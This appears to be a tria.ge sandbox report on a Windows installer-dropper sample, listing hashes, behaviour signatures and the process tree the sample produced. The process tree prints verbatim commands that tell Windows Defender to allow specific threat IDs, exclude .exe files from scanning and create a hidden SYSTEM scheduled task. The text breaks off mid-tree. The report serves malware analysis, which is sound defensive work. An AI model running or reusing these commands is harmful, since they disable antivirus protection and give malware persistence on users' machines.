Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    168s
  • max time network
    300s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/05/2024, 23:51

General

  • Target

    bd9223a89261ed0145e6a33c455d6fa6a00f7ddbb754646612682e6c624d14d3.exe

  • Size

    7.3MB

  • MD5

    49c1c3d1621a7af828cde4e712a64f26

  • SHA1

    ba16d384f3fbd954eaa8deab2808e2341fd7466e

  • SHA256

    bd9223a89261ed0145e6a33c455d6fa6a00f7ddbb754646612682e6c624d14d3

  • SHA512

    0a954fe59edfc36d62859f8ca9cd32d5043662f92aa2c4d136fee185ec3c3ce305d1f0c55dc1301eb1956fb6885dff973ba2b0074dad5ffaac9e95b712f4398f

  • SSDEEP

    196608:91OBiBwIPypbHKxKJAkezCFo3+vy80LtkJL5e+2Xo:3OBiB/P4b/e6K/jaDwo

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 35 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 58 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bd9223a89261ed0145e6a33c455d6fa6a00f7ddbb754646612682e6c624d14d3.exe
    "C:\Users\Admin\AppData\Local\Temp\bd9223a89261ed0145e6a33c455d6fa6a00f7ddbb754646612682e6c624d14d3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5096
    • C:\Users\Admin\AppData\Local\Temp\7zSD542.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:288
      • C:\Users\Admin\AppData\Local\Temp\7zSD997.tmp\Install.exe
        .\Install.exe /FddidfBPP "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:2856
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:304
          • C:\Windows\SysWOW64\forfiles.exe
            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4704
            • C:\Windows\SysWOW64\cmd.exe
              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4808
              • \??\c:\windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                  PID:2364
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:516
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1632
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  7⤵
                    PID:920
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1424
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3028
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                    7⤵
                      PID:1756
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4824
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1440
                    • \??\c:\windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                      7⤵
                        PID:2956
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4820
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2496
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                        7⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:1848
                        • C:\Windows\SysWOW64\gpupdate.exe
                          "C:\Windows\system32\gpupdate.exe" /force
                          8⤵
                            PID:3652
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:756
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2904
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                        6⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:5116
                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          7⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3060
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "baOmDneVXoOuKLmJPZ" /SC once /ST 23:52:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSD997.tmp\Install.exe\" 4w /ocrdidnHmW 525403 /S" /V1 /F
                    4⤵
                    • Drops file in Windows directory
                    • Creates scheduled task(s)
                    PID:4580
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn baOmDneVXoOuKLmJPZ"
                    4⤵
                      PID:4400
                      • C:\Windows\SysWOW64\cmd.exe
                        /C schtasks /run /I /tn baOmDneVXoOuKLmJPZ
                        5⤵
                          PID:3108
                          • \??\c:\windows\SysWOW64\schtasks.exe
                            schtasks /run /I /tn baOmDneVXoOuKLmJPZ
                            6⤵
                              PID:4832
                  • C:\Users\Admin\AppData\Local\Temp\7zSD997.tmp\Install.exe
                    C:\Users\Admin\AppData\Local\Temp\7zSD997.tmp\Install.exe 4w /ocrdidnHmW 525403 /S
                    1⤵
                    • Executes dropped EXE
                    • Drops desktop.ini file(s)
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:4676
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                      2⤵
                        PID:5008
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          3⤵
                            PID:3076
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              4⤵
                                PID:2260
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  5⤵
                                    PID:4124
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                3⤵
                                  PID:4764
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    4⤵
                                      PID:1284
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                        5⤵
                                          PID:1836
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                      3⤵
                                        PID:3492
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                          4⤵
                                            PID:4828
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                              5⤵
                                                PID:4472
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                            3⤵
                                              PID:2144
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                4⤵
                                                  PID:2096
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    5⤵
                                                      PID:4752
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  3⤵
                                                    PID:4520
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                      4⤵
                                                        PID:2788
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          5⤵
                                                          • Drops file in System32 directory
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3832
                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                            6⤵
                                                              PID:3340
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                      2⤵
                                                      • Drops file in System32 directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4340
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:2964
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                            4⤵
                                                              PID:4816
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:3036
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:4160
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:2812
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:2300
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:1264
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:4708
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:2764
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:2960
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:4128
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:2496
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:4820
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:1868
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:2916
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:916
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:4348
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:5092
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:3452
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:860
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:2792
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3324
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4656
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:3448
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:5084
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:956
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:4636
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:2040
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:3020
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
